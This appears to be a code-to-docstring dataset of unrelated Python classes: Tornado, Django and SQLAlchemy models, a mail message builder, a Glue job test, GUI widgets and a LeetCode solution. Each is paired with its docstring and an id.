class GateSetupService(Service): <NEW_LINE> <INDENT> def __init__(self, bus): <NEW_LINE> <INDENT> Service.__init__(self, bus, UUID_GATESETUP_SERVICE) <NEW_LINE> self.add_characteristic(InternetConnectedCharacteristic(self)) <NEW_LINE> self.add_characteristic(SSIDsCharacteristic(self)) <NEW_LINE> self.add_characteristic(ConnectToSSIDCharacteristic(self)) <NEW_LINE> self.add_characteristic(NotifyCharacteristic(self)) <NEW_LINE> self.add_characteristic(ConnectToOdooCharacteristic(self)) <NEW_LINE> self.add_characteristic(CheckSetupPasswordCharacteristic(self))
Service that exposes Gate Device Information and allows for the Setup
625990883617ad0b5ee07d07
class Event(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self._value = False <NEW_LINE> self._waiters = set() <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return '<%s %s>' % ( self.__class__.__name__, 'set' if self.is_set() else 'clear') <NEW_LINE> <DEDENT> def is_set(self): <NEW_LINE> <INDENT> return self._value <NEW_LINE> <DEDENT> def set(self): <NEW_LINE> <INDENT> if not self._value: <NEW_LINE> <INDENT> self._value = True <NEW_LINE> for fut in self._waiters: <NEW_LINE> <INDENT> if not fut.done(): <NEW_LINE> <INDENT> fut.set_result(None) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> def clear(self): <NEW_LINE> <INDENT> self._value = False <NEW_LINE> <DEDENT> def wait(self, timeout=None): <NEW_LINE> <INDENT> fut = Future() <NEW_LINE> if self._value: <NEW_LINE> <INDENT> fut.set_result(None) <NEW_LINE> return fut <NEW_LINE> <DEDENT> self._waiters.add(fut) <NEW_LINE> fut.add_done_callback(lambda fut: self._waiters.remove(fut)) <NEW_LINE> if timeout is None: <NEW_LINE> <INDENT> return fut <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> timeout_fut = gen.with_timeout(timeout, fut, quiet_exceptions=(CancelledError,)) <NEW_LINE> timeout_fut.add_done_callback(lambda tf: fut.cancel() if not fut.done() else None) <NEW_LINE> return timeout_fut
An event blocks coroutines until its internal flag is set to True. Similar to `threading.Event`. A coroutine can wait for an event to be set. Once it is set, calls to ``yield event.wait()`` will not block unless the event has been cleared: .. testcode:: from tornado import gen from tornado.ioloop import IOLoop from tornado.locks import Event event = Event() async def waiter(): print("Waiting for event") await event.wait() print("Not waiting this time") await event.wait() print("Done") async def setter(): print("About to set the event") event.set() async def runner(): await gen.multi([waiter(), setter()]) IOLoop.current().run_sync(runner) .. testoutput:: Waiting for event About to set the event Not waiting this time Done
6259908823849d37ff852c71
class CameraDownloader(object): <NEW_LINE> <INDENT> def __init__(self, dir=None): <NEW_LINE> <INDENT> self.dir = dir or os.path.join(os.path.expanduser("~"), "photopoof") <NEW_LINE> print("Saving new photos to {}".format(self.dir)) <NEW_LINE> self.camera = gp.Camera() <NEW_LINE> try: <NEW_LINE> <INDENT> self.camera.init() <NEW_LINE> <DEDENT> except Exception as e: <NEW_LINE> <INDENT> print(e) <NEW_LINE> <DEDENT> <DEDENT> def mainloop(self): <NEW_LINE> <INDENT> timeout = 3000 <NEW_LINE> while True: <NEW_LINE> <INDENT> event_type, event_data = self.camera.wait_for_event(timeout) <NEW_LINE> if event_type == gp.GP_EVENT_FILE_ADDED: <NEW_LINE> <INDENT> cam_file = self.camera.file_get( event_data.folder, event_data.name, gp.GP_FILE_TYPE_NORMAL ) <NEW_LINE> current_timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") <NEW_LINE> target_path = os.path.join(self.dir, "poof_{}.jpg".format(current_timestamp)) <NEW_LINE> print("New Photo! ({})".format(target_path)) <NEW_LINE> cam_file.save(target_path) <NEW_LINE> <DEDENT> <DEDENT> return 0
Watches for photos taken and downloads image
625990887c178a314d78e9c5
class LocaleSettings(threading.local): <NEW_LINE> <INDENT> locale = None <NEW_LINE> localizer = None
Language resolution.
62599088091ae356687067f9
class TestConfig(EnvironmentConfig): <NEW_LINE> <INDENT> def __init__(self, args, command): <NEW_LINE> <INDENT> super().__init__(args, command) <NEW_LINE> self.coverage = args.coverage <NEW_LINE> self.coverage_check = args.coverage_check <NEW_LINE> self.include = args.include or [] <NEW_LINE> self.exclude = args.exclude or [] <NEW_LINE> self.require = args.require or [] <NEW_LINE> self.changed = args.changed <NEW_LINE> self.tracked = args.tracked <NEW_LINE> self.untracked = args.untracked <NEW_LINE> self.committed = args.committed <NEW_LINE> self.staged = args.staged <NEW_LINE> self.unstaged = args.unstaged <NEW_LINE> self.changed_from = args.changed_from <NEW_LINE> self.changed_path = args.changed_path <NEW_LINE> self.base_branch = args.base_branch <NEW_LINE> self.lint = getattr(args, 'lint', False) <NEW_LINE> self.junit = getattr(args, 'junit', False) <NEW_LINE> self.failure_ok = getattr(args, 'failure_ok', False) <NEW_LINE> self.metadata = Metadata.from_file(args.metadata) if args.metadata else Metadata() <NEW_LINE> self.metadata_path = None <NEW_LINE> if self.coverage_check: <NEW_LINE> <INDENT> self.coverage = True <NEW_LINE> <DEDENT> def metadata_callback(files): <NEW_LINE> <INDENT> config = self <NEW_LINE> if config.metadata_path: <NEW_LINE> <INDENT> files.append((os.path.abspath(config.metadata_path), config.metadata_path)) <NEW_LINE> <DEDENT> <DEDENT> data_context().register_payload_callback(metadata_callback)
Configuration common to all test commands.
62599088fff4ab517ebcf3cd
class School(db.Model): <NEW_LINE> <INDENT> id = db.Column(db.Integer, primary_key=True) <NEW_LINE> name = db.Column(db.String(32), index=True, unique=True) <NEW_LINE> level = db.Column(db.String(32)) <NEW_LINE> start_date = db.Column(db.DateTime) <NEW_LINE> end_date = db.Column(db.DateTime) <NEW_LINE> attending = db.Column(db.Boolean, default=True) <NEW_LINE> term = db.Column(db.String(32)) <NEW_LINE> address_id = db.Column(db.Integer, db.ForeignKey('address.id')) <NEW_LINE> courses = db.relationship('Course', backref='school', lazy='dynamic') <NEW_LINE> def __repr__(self): <NEW_LINE> <INDENT> return '<School %r>' % (self.name)
A School is a single institution. Schools are many-to-many with Users. Schools are one-to-one with Addresses. Schools are one-to-many with Courses.
625990887b180e01f3e49e40
class Solution45: <NEW_LINE> <INDENT> @staticmethod <NEW_LINE> def jump(nums: List[int]) -> int: <NEW_LINE> <INDENT> n = len(nums) <NEW_LINE> max_pos, end, step = 0, 0, 0 <NEW_LINE> for i in range(n - 1): <NEW_LINE> <INDENT> if max_pos >= i: <NEW_LINE> <INDENT> max_pos = max(max_pos, i + nums[i]) <NEW_LINE> if i == end: <NEW_LINE> <INDENT> end = max_pos <NEW_LINE> step += 1 <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> return step
45. 跳跃游戏 II https://leetcode-cn.com/problems/jump-game-ii/ 给你一个非负整数数组 nums ,你最初位于数组的第一个位置。 数组中的每个元素代表你在该位置可以跳跃的最大长度。 你的目标是使用最少的跳跃次数到达数组的最后一个位置。 假设你总是可以到达数组的最后一个位置。 nums = [2,3,1,1,4] 跳到最后一个位置的最小跳跃数是 2。 从下标为 0 跳到下标为 1 的位置,跳 1 步,然后跳 3 步到达数组的最后一个位置。
62599088bf627c535bcb308b
class TVMArray(ctypes.Structure): <NEW_LINE> <INDENT> _fields_ = [("data", ctypes.c_void_p), ("ctx", TVMContext), ("ndim", ctypes.c_int), ("dtype", TVMType), ("shape", ctypes.POINTER(tvm_shape_index_t)), ("strides", ctypes.POINTER(tvm_shape_index_t)), ("byte_offset", ctypes.c_uint64), ("time_stamp", ctypes.c_uint64)]
TVMValue in C API
625990885fdd1c0f98e5fb31
class TestGlueJob(unittest.TestCase): <NEW_LINE> <INDENT> @classmethod <NEW_LINE> def setUpClass(cls): <NEW_LINE> <INDENT> S3_MOCK_ENDPOINT = "http://127.0.0.1:5000" <NEW_LINE> cls.process = subprocess.Popen( ['moto_server', 's3'], stdout=subprocess.PIPE, shell=True, creationflags=subprocess.CREATE_NEW_PROCESS_GROUP ) <NEW_LINE> cls.s3_conn = boto3.resource( "s3", region_name="eu-central-1", endpoint_url=S3_MOCK_ENDPOINT ) <NEW_LINE> bucket = "bucket" <NEW_LINE> cls.s3_conn.create_bucket(Bucket=bucket) <NEW_LINE> cls.s3_source = "s3://{}/{}".format(bucket, "source.csv") <NEW_LINE> cls.s3_destination = "s3://{}/{}".format(bucket, "destination.csv") <NEW_LINE> os.environ[ "PYSPARK_SUBMIT_ARGS" ] = """--packages "org.apache.hadoop:hadoop-aws:2.7.3" pyspark-shell""" <NEW_LINE> cls.spark = SparkSession.builder.getOrCreate() <NEW_LINE> hadoop_conf = cls.spark.sparkContext._jsc.hadoopConfiguration() <NEW_LINE> hadoop_conf.set("fs.s3.impl", "org.apache.hadoop.fs.s3a.S3AFileSystem") <NEW_LINE> hadoop_conf.set("fs.s3a.access.key", "mock") <NEW_LINE> hadoop_conf.set("fs.s3a.secret.key", "mock") <NEW_LINE> hadoop_conf.set("fs.s3a.endpoint", S3_MOCK_ENDPOINT) <NEW_LINE> values = [("k1", 1), ("k2", 2)] <NEW_LINE> columns = ["key", "value"] <NEW_LINE> df = cls.spark.createDataFrame(values, columns) <NEW_LINE> df.write.csv(cls.s3_source) <NEW_LINE> <DEDENT> @mock.patch("glue_job._commit_job") <NEW_LINE> @mock.patch("glue_job._get_glue_args") <NEW_LINE> @mock.patch("glue_job._get_spark_session_and_glue_job") <NEW_LINE> def test_glue_job_runs_successfully(self, m_session_job, m_get_glue_args, m_commit): <NEW_LINE> <INDENT> cli_args = {"source": self.s3_source, "destination": self.s3_destination} <NEW_LINE> m_session_job.return_value = self.spark, None <NEW_LINE> m_get_glue_args.return_value = cli_args <NEW_LINE> glue_job.run(cli_args=cli_args, spark=self.spark) <NEW_LINE> df = self.spark.read.csv(self.s3_destination) <NEW_LINE> self.assertTrue(not df.rdd.isEmpty()) <NEW_LINE> <DEDENT> @classmethod <NEW_LINE> def tearDownClass(cls): <NEW_LINE> <INDENT> os.killpg(os.getpgid(cls.process.pid), signal.SIGTERM)
This test class setup a test environment to test our glue job, runs the glue job and checks the result.
62599088ec188e330fdfa465
class IDManager: <NEW_LINE> <INDENT> title = "url" <NEW_LINE> extract = lambda url : int( url.split('/')[-1] ) <NEW_LINE> reconstruct = lambda n : 'http://X/view_record/' + str(n)
define some behaviour to be applied over the table uid
6259908892d797404e389938
class CmdPose(COMMAND_DEFAULT_CLASS): <NEW_LINE> <INDENT> key = "pose" <NEW_LINE> aliases = [":", "emote"] <NEW_LINE> locks = "cmd:all()" <NEW_LINE> def parse(self): <NEW_LINE> <INDENT> args = self.args <NEW_LINE> if args and not args[0] in ["'", ",", ":"]: <NEW_LINE> <INDENT> args = " %s" % args.strip() <NEW_LINE> <DEDENT> self.args = args <NEW_LINE> <DEDENT> def func(self): <NEW_LINE> <INDENT> if not self.args: <NEW_LINE> <INDENT> msg = "What do you want to do?" <NEW_LINE> self.caller.msg(msg) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> msg = "%s%s" % (self.caller.name, self.args) <NEW_LINE> self.caller.location.msg_contents(text=(msg, {"type": "pose"}), from_obj=self.caller)
strike a pose Usage: pose <pose text> pose's <pose text> Example: pose is standing by the wall, smiling. -> others will see: Tom is standing by the wall, smiling. Describe an action being taken. The pose text will automatically begin with your name.
625990888a349b6b43687e16
class AuditedModel(models.Model): <NEW_LINE> <INDENT> create_at = models.DateTimeField(auto_now_add=True) <NEW_LINE> create_by = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.PROTECT, related_name='%(class)s_create', null=True, blank=True) <NEW_LINE> update_at = models.DateTimeField(auto_now=True) <NEW_LINE> update_by = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.PROTECT, related_name='%(class)s_update', null=True, blank=True) <NEW_LINE> class Meta: <NEW_LINE> <INDENT> abstract = True <NEW_LINE> ordering = ['-create_at', '-update_at'] <NEW_LINE> <DEDENT> def save(self, *args, **kwargs): <NEW_LINE> <INDENT> current_user = global_request.get_current_user() <NEW_LINE> if not self.create_by: <NEW_LINE> <INDENT> self.create_by = current_user <NEW_LINE> <DEDENT> self.update_by = current_user <NEW_LINE> return super(AuditedModel, self).save(*args, **kwargs)
CHECK IF THIS IS TRUE CAVEAT 1: If using a custom user model, add the following line to the top: from api.models.user_profile import User # noqa: F401 It's needed for get_model in settings. CAVEAT 2: All api calls that add or edit a line to your database should be Authenticated. If you're not doing that then you are ASKING for trouble.
62599088091ae356687067fb
class QuizDetailView(APIView): <NEW_LINE> <INDENT> def get(self, request, quiz_id, format=None): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> quiz = Quiz.objects.get(pk=quiz_id) <NEW_LINE> <DEDENT> except Quiz.DoesNotExist: <NEW_LINE> <INDENT> raise Http404 <NEW_LINE> <DEDENT> serializer = serializers.QuizSerializer(quiz) <NEW_LINE> data = serializer.data <NEW_LINE> data['tags'] = [] <NEW_LINE> return Response(data) <NEW_LINE> <DEDENT> def post(self, request, format=None): <NEW_LINE> <INDENT> return self._save_quiz_and_return_response(request, request.user, self._create_quiz_object) <NEW_LINE> <DEDENT> def _create_quiz_object(self, quiz_attrs, data): <NEW_LINE> <INDENT> return Quiz.objects.create(**quiz_attrs) <NEW_LINE> <DEDENT> def put(self, request, quiz_id, format=None): <NEW_LINE> <INDENT> found = True <NEW_LINE> try: <NEW_LINE> <INDENT> quiz_v1 = Quiz.objects.get(pk=quiz_id) <NEW_LINE> <DEDENT> except Quiz.DoesNotExist: <NEW_LINE> <INDENT> found = False <NEW_LINE> <DEDENT> if not found: <NEW_LINE> <INDENT> return Response({"quiz_id_exists": True}, status=status.HTTP_400_BAD_REQUEST) <NEW_LINE> <DEDENT> elif quiz_v1.created_by.id != request.user.id: <NEW_LINE> <INDENT> return Response({"nice_try": True}, status=status.HTTP_403_FORBIDDEN) <NEW_LINE> <DEDENT> return self._save_quiz_and_return_response(request, quiz_v1.created_by, self._get_existing_quiz_object) <NEW_LINE> <DEDENT> def _get_existing_quiz_object(self, quiz_attrs, data): <NEW_LINE> <INDENT> quiz = Quiz.objects.get(pk=data['id']) <NEW_LINE> for field, value in quiz_attrs.items(): <NEW_LINE> <INDENT> setattr(quiz, field, value) <NEW_LINE> <DEDENT> quiz.save() <NEW_LINE> return quiz <NEW_LINE> <DEDENT> def _save_quiz_and_return_response(self, request, created_by, get_quiz_instance): <NEW_LINE> <INDENT> data=request.data <NEW_LINE> serializer = serializers.QuizSerializer(data=request.data) <NEW_LINE> if not serializer.is_valid(): <NEW_LINE> <INDENT> return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) <NEW_LINE> <DEDENT> quiz_fields = ['question_input', 'question_display', 'quiz_type'] <NEW_LINE> quiz_attrs = {} <NEW_LINE> for field in quiz_fields: <NEW_LINE> <INDENT> quiz_attrs[field] = data[field] <NEW_LINE> <DEDENT> audit_attrs = { 'created_by': created_by, 'last_modified_by': request.user } <NEW_LINE> quiz_attrs.update(audit_attrs) <NEW_LINE> with transaction.atomic(): <NEW_LINE> <INDENT> quiz = get_quiz_instance(quiz_attrs, data) <NEW_LINE> quiz.shortanswer_set.all().delete() <NEW_LINE> quiz.choice_set.all().delete() <NEW_LINE> for answer in data['answers']: <NEW_LINE> <INDENT> answer_attrs = {"quiz": quiz, "answer": answer['answer']} <NEW_LINE> answer_attrs.update(audit_attrs) <NEW_LINE> ShortAnswer.objects.create(**answer_attrs) <NEW_LINE> <DEDENT> for choice in data['choices']: <NEW_LINE> <INDENT> if choice.get('id'): <NEW_LINE> <INDENT> del choice['id'] <NEW_LINE> <DEDENT> choice_attrs = {"quiz": quiz} <NEW_LINE> choice_attrs.update(choice) <NEW_LINE> choice_attrs.update(audit_attrs) <NEW_LINE> choice_instance = Choice.objects.create(**choice_attrs) <NEW_LINE> choice['id'] = choice_instance.id <NEW_LINE> <DEDENT> <DEDENT> data['id'] = quiz.id <NEW_LINE> return Response(data)
GET, POST and PUT APIs for individual quizzes
625990887b180e01f3e49e41
class EpisodeCountQuestion(QuestionTemplate): <NEW_LINE> <INDENT> regex = ((Lemmas("how many episode do") + TvShow() + Lemma("have")) | (Lemma("number") + Pos("IN") + Lemma("episode") + Pos("IN") + TvShow())) + Question(Pos(".")) <NEW_LINE> def interpret(self, match): <NEW_LINE> <INDENT> number_of_episodes = NumberOfEpisodesIn(match.tvshow) <NEW_LINE> return number_of_episodes
Ex: "How many episodes does Seinfeld have?" "Number of episodes of Seinfeld"
625990885fcc89381b266f3a
class EC2APSENodeDriver(EC2NodeDriver): <NEW_LINE> <INDENT> _datacenter = 'ap-southeast-1'
Driver class for EC2 in the Southeast Asia Pacific Region.
625990885fdd1c0f98e5fb33
class Message(object): <NEW_LINE> <INDENT> def __init__(self, subject, recipients=None, body=None, html=None, sender=None, cc=None, bcc=None, attachments=None, reply_to=None): <NEW_LINE> <INDENT> if sender is None: <NEW_LINE> <INDENT> app = _request_ctx_stack.top.app <NEW_LINE> sender = app.config.get("DEFAULT_MAIL_SENDER") <NEW_LINE> <DEDENT> if isinstance(sender, tuple): <NEW_LINE> <INDENT> sender = "%s <%s>" % sender <NEW_LINE> <DEDENT> self.subject = subject <NEW_LINE> self.sender = sender <NEW_LINE> self.body = body <NEW_LINE> self.html = html <NEW_LINE> self.cc = cc <NEW_LINE> self.bcc = bcc <NEW_LINE> self.reply_to = reply_to <NEW_LINE> if recipients is None: <NEW_LINE> <INDENT> recipients = [] <NEW_LINE> <DEDENT> self.recipients = list(recipients) <NEW_LINE> if attachments is None: <NEW_LINE> <INDENT> attachments = [] <NEW_LINE> <DEDENT> self.attachments = attachments <NEW_LINE> <DEDENT> def add_recipient(self, recipient): <NEW_LINE> <INDENT> self.recipients.append(recipient) <NEW_LINE> <DEDENT> def is_bad_headers(self): <NEW_LINE> <INDENT> reply_to = self.reply_to or '' <NEW_LINE> for val in [self.subject, self.sender, reply_to] + self.recipients: <NEW_LINE> <INDENT> for c in '\r\n': <NEW_LINE> <INDENT> if c in val: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> return False <NEW_LINE> <DEDENT> def dump(self): <NEW_LINE> <INDENT> assert self.html or self.body <NEW_LINE> if self.html: <NEW_LINE> <INDENT> msg = MIMEText(self.html,'html') <NEW_LINE> <DEDENT> elif self.body: <NEW_LINE> <INDENT> msg = MIMEText(self.body) <NEW_LINE> <DEDENT> msg['Subject'] = self.subject <NEW_LINE> msg['To'] = ', '.join(self.recipients) <NEW_LINE> msg['From'] = self.sender <NEW_LINE> if self.cc: <NEW_LINE> <INDENT> msg['CC'] = self.cc <NEW_LINE> <DEDENT> if self.bcc: <NEW_LINE> <INDENT> msg['BCC'] = self.bcc <NEW_LINE> <DEDENT> if self.reply_to: <NEW_LINE> <INDENT> msg['Reply-To'] = self.reply_to <NEW_LINE> <DEDENT> return msg.as_string() <NEW_LINE> <DEDENT> def send(self, mailer): <NEW_LINE> <INDENT> assert self.recipients, "No recipients have been added" <NEW_LINE> assert self.body or self.html, "No body or HTML has been set" <NEW_LINE> assert self.sender, "No sender address has been set" <NEW_LINE> if self.is_bad_headers(): <NEW_LINE> <INDENT> raise BadHeaderError <NEW_LINE> <DEDENT> mailer.send(self)
Encapsulates an email message. :param subject: email subject header :param recipients: list of email addresses :param body: plain text message :param html: HTML message :param sender: email sender address, or **DEFAULT_MAIL_SENDER** by default :param cc: CC list :param bcc: BCC list :param attachments: list of Attachment instances :param reply_to: reply-to address
62599088167d2b6e312b8374
class Application(Frame): <NEW_LINE> <INDENT> def __init__(self, master): <NEW_LINE> <INDENT> super(Application, self).__init__(master) <NEW_LINE> self.grid() <NEW_LINE> self.create_widgets() <NEW_LINE> <DEDENT> def create_widgets(self): <NEW_LINE> <INDENT> self.label = Label(self, text="To view the secret: enter the password and click submit.") <NEW_LINE> self.label.grid(row=1, column=0, columnspan=2) <NEW_LINE> self.p_label = Label(self, text="Password: ") <NEW_LINE> self.p_label.grid(row=2, column=0, columnspan=10, sticky=W) <NEW_LINE> self.p_entry = Entry(self, show="*") <NEW_LINE> self.p_entry.grid(row=2, column=0, sticky=E) <NEW_LINE> self.submit = Button(self, text="Submit", command=self.reveal) <NEW_LINE> self.submit.grid(row=3, column=0, sticky=E) <NEW_LINE> self.secret = Text(self, width=35, height=5, wrap=WORD) <NEW_LINE> self.secret.grid(row=4, column=0, sticky=W) <NEW_LINE> <DEDENT> def reveal(self): <NEW_LINE> <INDENT> password = self.p_entry.get() <NEW_LINE> if password == "jacob sucks": <NEW_LINE> <INDENT> message = "Here's the secret of life......42." <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> message = "That's not the correct password. I can't share the secret with you." <NEW_LINE> <DEDENT> self.secret.delete(0.0, END) <NEW_LINE> self.secret.insert(0.0, message)
GUI application that reveals the secret to longevity.
6259908826068e7796d4e4fc
class Mouse(Point): <NEW_LINE> <INDENT> def __init__(self, canvas, x=0, y=0): <NEW_LINE> <INDENT> Point.__init__(self, x, y) <NEW_LINE> self._canvas = canvas <NEW_LINE> self._cursor = DEFAULT <NEW_LINE> self._button = None <NEW_LINE> self.modifiers = [] <NEW_LINE> self.pressed = False <NEW_LINE> self.dragged = False <NEW_LINE> self.scroll = Point(0, 0) <NEW_LINE> self.dx = 0 <NEW_LINE> self.dy = 0 <NEW_LINE> <DEDENT> @property <NEW_LINE> def vx(self): <NEW_LINE> <INDENT> return self.dx <NEW_LINE> <DEDENT> @property <NEW_LINE> def vy(self): <NEW_LINE> <INDENT> return self.dy <NEW_LINE> <DEDENT> @property <NEW_LINE> def relative_x(self): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return float(self.x) / self._canvas.width <NEW_LINE> <DEDENT> except ZeroDivisionError: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def relative_y(self): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> return float(self.y) / self._canvas.height <NEW_LINE> <DEDENT> except ZeroDivisionError: <NEW_LINE> <INDENT> return 0 <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def cursor(self): <NEW_LINE> <INDENT> return self._cursor <NEW_LINE> <DEDENT> @cursor.setter <NEW_LINE> def cursor(self, mode): <NEW_LINE> <INDENT> self._cursor = mode if mode != DEFAULT else None <NEW_LINE> if mode == HIDDEN: <NEW_LINE> <INDENT> self._canvas._window.set_mouse_visible(False) <NEW_LINE> return <NEW_LINE> <DEDENT> self._canvas._window.set_mouse_cursor( self._canvas._window.get_system_mouse_cursor( self._cursor)) <NEW_LINE> <DEDENT> @property <NEW_LINE> def button(self): <NEW_LINE> <INDENT> return self._button <NEW_LINE> <DEDENT> @button.setter <NEW_LINE> def button(self, btn): <NEW_LINE> <INDENT> self._button = ( btn == pyglet.window.mouse.LEFT and LEFT or btn == pyglet.window.mouse.RIGHT and RIGHT or btn == pyglet.window.mouse.MIDDLE and MIDDLE or None) <NEW_LINE> <DEDENT> def __repr__(self): <NEW_LINE> <INDENT> return "Mouse(x=%.1f, y=%.1f, pressed=%s, dragged=%s)" % ( self.x, self.y, repr(self.pressed), repr(self.dragged))
Keeps track of the mouse position on the canvas, buttons pressed and the cursor icon.
62599088be7bc26dc9252c33
class AxisCalibrationWidget(QtWidgets.QWidget): <NEW_LINE> <INDENT> def __init__(self, parent=None): <NEW_LINE> <INDENT> QtWidgets.QWidget.__init__(self, parent) <NEW_LINE> self.main_layout = QtWidgets.QGridLayout(self) <NEW_LINE> self.limits = [0, 0, 0] <NEW_LINE> self.slider = QtWidgets.QProgressBar() <NEW_LINE> self.slider.setMinimum(-32768) <NEW_LINE> self.slider.setMaximum(32767) <NEW_LINE> self.slider.setValue(self.limits[1]) <NEW_LINE> self.slider.setMinimumWidth(200) <NEW_LINE> self.slider.setMaximumWidth(200) <NEW_LINE> self.current = QtWidgets.QLabel("0") <NEW_LINE> self.current.setAlignment(QtCore.Qt.AlignRight) <NEW_LINE> self.minimum = QtWidgets.QLabel("0") <NEW_LINE> self.minimum.setAlignment(QtCore.Qt.AlignRight) <NEW_LINE> self.center = QtWidgets.QLabel("0") <NEW_LINE> self.center.setAlignment(QtCore.Qt.AlignRight) <NEW_LINE> self.maximum = QtWidgets.QLabel("0") <NEW_LINE> self.maximum.setAlignment(QtCore.Qt.AlignRight) <NEW_LINE> self._update_labels() <NEW_LINE> self.main_layout.addWidget(self.slider, 0, 0, 0, 3) <NEW_LINE> self.main_layout.addWidget(self.current, 0, 3) <NEW_LINE> self.main_layout.addWidget(self.minimum, 0, 4) <NEW_LINE> self.main_layout.addWidget(self.center, 0, 5) <NEW_LINE> self.main_layout.addWidget(self.maximum, 0, 6) <NEW_LINE> <DEDENT> def set_current(self, value): <NEW_LINE> <INDENT> self.slider.setValue(value) <NEW_LINE> if value > self.limits[2]: <NEW_LINE> <INDENT> self.limits[2] = value <NEW_LINE> <DEDENT> if value < self.limits[0]: <NEW_LINE> <INDENT> self.limits[0] = value <NEW_LINE> <DEDENT> self._update_labels() <NEW_LINE> <DEDENT> def centered(self): <NEW_LINE> <INDENT> self.limits[1] = self.slider.value() <NEW_LINE> self._update_labels() <NEW_LINE> <DEDENT> def _update_labels(self): <NEW_LINE> <INDENT> self.current.setText("{: 5d}".format(self.slider.value())) <NEW_LINE> self.minimum.setText("{: 5d}".format(self.limits[0])) <NEW_LINE> self.center.setText("{: 5d}".format(self.limits[1])) <NEW_LINE> self.maximum.setText("{: 5d}".format(self.limits[2]))
Widget displaying calibration information about a single axis.
6259908871ff763f4b5e9368
class TestFindCustomFieldByLabel(object): <NEW_LINE> <INDENT> def test_happy_path(self, single_fail_xml, mocker): <NEW_LINE> <INDENT> mock_field_resp = mocker.Mock(spec=swagger_client.FieldResource) <NEW_LINE> mock_field_resp.id = 12345 <NEW_LINE> mock_field_resp.label = 'Failure Output' <NEW_LINE> mocker.patch('swagger_client.FieldApi.get_fields', return_value=[mock_field_resp]) <NEW_LINE> response = {'items': [{'name': 'insert name here', 'id': 12345}], 'total': 1} <NEW_LINE> mock_post_response = mocker.Mock(spec=requests.Response) <NEW_LINE> mock_post_response.text = json.dumps(response) <NEW_LINE> mocker.patch('requests.post', return_value=mock_post_response) <NEW_LINE> zz = ZigZag(single_fail_xml, TOKEN, PROJECT_ID, TEST_CYCLE) <NEW_LINE> uf = UtilityFacade(zz) <NEW_LINE> result = uf.find_custom_field_id_by_label('Failure Output', 'test-runs') <NEW_LINE> assert result == 12345 <NEW_LINE> <DEDENT> def test_label_not_found(self, single_fail_xml, mocker): <NEW_LINE> <INDENT> mock_field_resp = mocker.Mock(spec=swagger_client.FieldResource) <NEW_LINE> mock_field_resp.id = 12345 <NEW_LINE> mock_field_resp.label = 'foo' <NEW_LINE> mocker.patch('swagger_client.FieldApi.get_fields', return_value=[mock_field_resp]) <NEW_LINE> response = {'items': [{'name': 'insert name here', 'id': 12345}], 'total': 1} <NEW_LINE> mock_post_response = mocker.Mock(spec=requests.Response) <NEW_LINE> mock_post_response.text = json.dumps(response) <NEW_LINE> mocker.patch('requests.post', return_value=mock_post_response) <NEW_LINE> zz = ZigZag(single_fail_xml, TOKEN, PROJECT_ID, TEST_CYCLE) <NEW_LINE> uf = UtilityFacade(zz) <NEW_LINE> result = uf.find_custom_field_id_by_label('Failure Output', 'test-runs') <NEW_LINE> assert result is None
Test cases for find_custom_field_by_label()
62599088ad47b63b2c5a940e
class DoctorUserForm(forms.ModelForm): <NEW_LINE> <INDENT> password = forms.CharField(widget=forms.PasswordInput(render_value = True)) <NEW_LINE> def clean_username(self): <NEW_LINE> <INDENT> username = self.cleaned_data['username'] <NEW_LINE> if User.objects.exclude(pk=self.instance.pk).filter(username=username).exists(): <NEW_LINE> <INDENT> raise forms.ValidationError('"%s" is already in use.' % username) <NEW_LINE> <DEDENT> return username <NEW_LINE> <DEDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> super(PatientForm, self).__init__(*args, **kwargs) <NEW_LINE> for key in self.fields: <NEW_LINE> <INDENT> self.fields[key].required = True <NEW_LINE> <DEDENT> <DEDENT> class Meta: <NEW_LINE> <INDENT> model = User <NEW_LINE> fields = ('username', 'email', 'password','first_name','last_name')
Doctor form used for the updating the doctors user information
625990888a349b6b43687e1a
class ObjectOriented(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self.edges = [] <NEW_LINE> self.nodes = [] <NEW_LINE> <DEDENT> def neighbors(self, node): <NEW_LINE> <INDENT> neighbor = [] <NEW_LINE> for edge in self.edges: <NEW_LINE> <INDENT> if node['id'] is edge.from_node['id']: <NEW_LINE> <INDENT> neighbor.append(edge.to_node) <NEW_LINE> <DEDENT> <DEDENT> return neighbor <NEW_LINE> <DEDENT> def add_edge(self, edge): <NEW_LINE> <INDENT> if edge in self.edges: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.edges.append(edge) <NEW_LINE> return True <NEW_LINE> <DEDENT> <DEDENT> def add_node(self, node): <NEW_LINE> <INDENT> if node in self.nodes: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.nodes.append(node) <NEW_LINE> return True <NEW_LINE> <DEDENT> <DEDENT> def returnEdge(self, node_1, node_2): <NEW_LINE> <INDENT> for edge in self.edges: <NEW_LINE> <INDENT> if edge.from_node == node_1 and edge.to_node == node_2: <NEW_LINE> <INDENT> return edge
ObjectOriented defines the edges and nodes as both list
625990884c3428357761be77
